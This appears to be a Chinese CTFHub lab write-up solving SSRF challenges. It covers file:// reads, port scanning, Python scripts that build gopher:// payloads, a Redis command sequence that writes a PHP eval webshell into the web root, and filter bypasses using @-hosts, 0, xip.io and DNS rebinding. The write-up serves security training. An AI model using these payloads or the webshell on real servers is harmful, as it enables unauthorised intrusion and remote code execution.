CTFHUB技能樹-SSRF
SSRF
第一部分 Http、Dict和file等協議的利用
內網訪問
嘗試訪問位於127.0.0.1的flag.php吧
看到這樣的url下意識想到ssrf,既然是讓我們從目標主機內網環境訪問其本地的flag.php,那我們就構造:
/?url=http://127.0.0.1/flag.php
如下圖所示,成功訪問到了目標機本地的flag.php:
偽協議讀取文件
嘗試去讀取一下Web目錄下的flag.php吧
這次直接訪問頁面無法獲得flag,結合題目標題,使用file:///
偽協議嘗試
/?url=file:///var/www/html/flag.php
執行后,我們在右鍵查看源代碼處發現了flag:
端口掃描
來來來性感CTFHub在線掃端口,據說端口范圍是8000-9000哦。
根據題目提示,需要進行端口掃描。在SSRF中,dict協議與http協議可用來探測內網的主機存活與端口開放情況。
由於我們知道這是一道SSRF的題目,所以並不是用御劍或者其他網站后台目錄掃描工具進行嘗試,根據同一技能數下的前2道題目,可以想到這一題是需要掃描127.0.0.1這一內網地址下的端口,所以我們可以嘗試使用BURPSUITE來進行爆破嘗試
抓包后,發送到Intruder模塊,將positions定位到內網地址端口,如圖:
然后根據題目題目,從8000-9000進行爆破嘗試。
掃描結果:
8607長度更長,查看該請求的回應
說明8607端口開啟了Apache服務,嘗試從瀏覽器訪問該端口
得到FLAG
第二部分 Gopher協議的使用
POST請求
這次是發一個HTTP POST請求.對了.ssrf是用php的curl實現的.並且會跟蹤302跳轉.加油吧騷年
訪問?url=http://127.0.0.1/flag.php
發現一個輸入框,查看網頁源代碼,發現一個key字段。
但是現在沒有提交按鈕,所以需要自己構造POST請求
寫一個python腳本,來構造Gopher協議的payload:
import urllib.parse
payload =\
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=e01fdff5c126356cb64cf2436f8c7704
"""
#注意后面一定要有回車,回車結尾表示http請求結束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result) # 這里因為是GET請求所以要進行兩次url編碼
然后直接作為url的參數提交即可得到flag
上傳文件
這次需要上傳一個文件到flag.php了.祝你好運
與上一題一樣,進入到url=http://127.0.0.1/flag.php頁面
發現這次需要文件上傳,但是沒有submit按鈕。所以需要自己在前端寫一個
然后隨便上傳一個文件,用BP裝包:
將Host字段改為127.0.0.1后,復制到剛才的腳本中,得到payload,並直接進行訪問即可得到flag:
FastCGI協議
這次.我們需要攻擊一下fastcgi協議咯.也許附件的文章會對你有點幫助
於是按照出題人的建議,先學習一下附件:
https://blog.csdn.net/mysteryflower/article/details/94386461
使用gopherus
工具來生成payload
Redis
Redis是一個key-value存儲系統。Redis(Remote Dictionary Server ),即遠程字典服務,是一個開源的使用ANSI C語言編寫、支持網絡、可基於內存亦可持久化的日志型、Key-Value數據庫,並提供多種語言的API。
Redis 在默認情況下,會綁定在 0.0.0.0:6379,如果沒有進行采用相關的策略,比如添加防火牆規則避免其他非信任來源 ip 訪問等,這樣將會將 Redis 服務暴露到公網上,如果在沒有設置密碼認證(一般為空),會導致任意用戶在可以訪問目標服務器的情況下未授權訪問 Redis 以及讀取 Redis 的數據。攻擊者在未授權訪問 Redis 的情況下,利用 Redis 自身的提供的 config 命令,可以進行寫文件操作,攻擊者可以成功將自己的ssh公鑰寫入目標服務器的 /root/.ssh 文件夾的 authotrized_keys 文件中,進而可以使用對應私鑰直接使用ssh服務登錄目標服務器。,也可以直接寫入Webshell或者寫入計划任務進行反彈shell。
這次來攻擊redis協議吧,redis://127.0.0.1:6379。資料?沒有資料!自己找!
首先要構造redis命令
flushall
set 1 '<?php eval($_GET["cmd"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save
然后需要將其轉化為RESP格式
import urllib
protocol="gopher://"
ip="127.0.0.1"
port="6379"
shell="\n\n<?php eval($_POST[\"c\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload#需要注意的是,如果使用腳本時,與此題一樣是GET方法訪問,則需要再urllib.quote一次
然后就可以使用payload寫入shell了。
然后就是用蟻劍連接拿flag了。
當然,用gopherus也是可以的。
第三部分 ByPass
URL Bypass
請求的URL中必須包含http://notfound.ctfhub.com,來嘗試利用URL的一些特殊地方繞過這個限制吧
簡單來說,就是http://www.baidu.com@192.168.0.1/與http://192.168.0.1請求的都是192.168.0.1的內容。
因此這個題目要求url must startwith “http://notfound.ctfhub.com”
我們直接構造?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
成功得到flag。
數字Bypass
這次ban掉了127以及172.不能使用點分十進制的IP了。但是又要訪問127.0.0.1。該怎么辦呢
- 轉換成16進制
- http://localhost/
- http://0/
都可以繞過
302跳轉 Bypass
SSRF中有個很重要的一點是請求可能會跟隨302跳轉,嘗試利用這個來繞過對IP的檢測訪問到位於127.0.0.1的flag.php吧
在網絡上存在一個很神奇的服務,網址為 http://xip.io,當訪問這個服務的任意子域名的時候,都會重定向到這個子域名,舉個例子:
當我們訪問 http://127.0.0.1.xip.io/flag.php,那么實際上我們訪問的是就 http://127.0.0.1/flag.php。
嘗試訪問:
結合上一題,想到可能127還是被ban了。所以與上一題的解法相結合,得到flag:
DNS重綁定 Bypass
關鍵詞:DNS重綁定。剩下的自己來吧,也許附件中的鏈接能有些幫助
對於用戶請求的URL參數,首先服務器端會對其進行DNS解析,然后對於DNS服務器返回的IP地址進行判斷,如果在黑名單中,就pass掉。
但是在整個過程中,第一次去請求DNS服務進行域名解析到第二次服務端去請求URL之間存在一個時間差,利用這個時間差,我們可以進行DNS 重綁定攻擊。我們利用DNS Rebinding技術,在第一次校驗IP的時候返回一個合法的IP,在真實發起請求的時候,返回我們真正想要訪問的內網IP即可。
要完成DNS重綁定攻擊,我們需要一個域名,並且將這個域名的解析指定到我們自己的DNS Server,在我們的可控的DNS Server上編寫解析服務,設置TTL時間為0,這是為了防止有DNS服務器對解析結果進行緩存。這樣就可以進行攻擊了,完整的攻擊流程為:
- 服務器端獲得URL參數,進行第一次DNS解析,獲得了一個非內網的IP
- 對於獲得的IP進行判斷,發現為非黑名單IP,則通過驗證
- 服務器端對於URL進行訪問,由於DNS服務器設置的TTL為0,所以再次進行DNS解析,這一次DNS服務器返回的是內網地址。
- 由於已經繞過驗證,所以服務器端返回訪問內網資源的結果。
一個可以用的於是域名網站:https://lock.cmpxchg8b.com/rebinder.html
由於DNS解析地址會在兩個IP地址之間變化,且變化的很快,所以我們可能需要多次嘗試訪問才能獲得結果。
PS:整個過程很過分得強烈的學習了兩位大佬的帖子:
如有任何不妥,請告知我,我會立即刪除!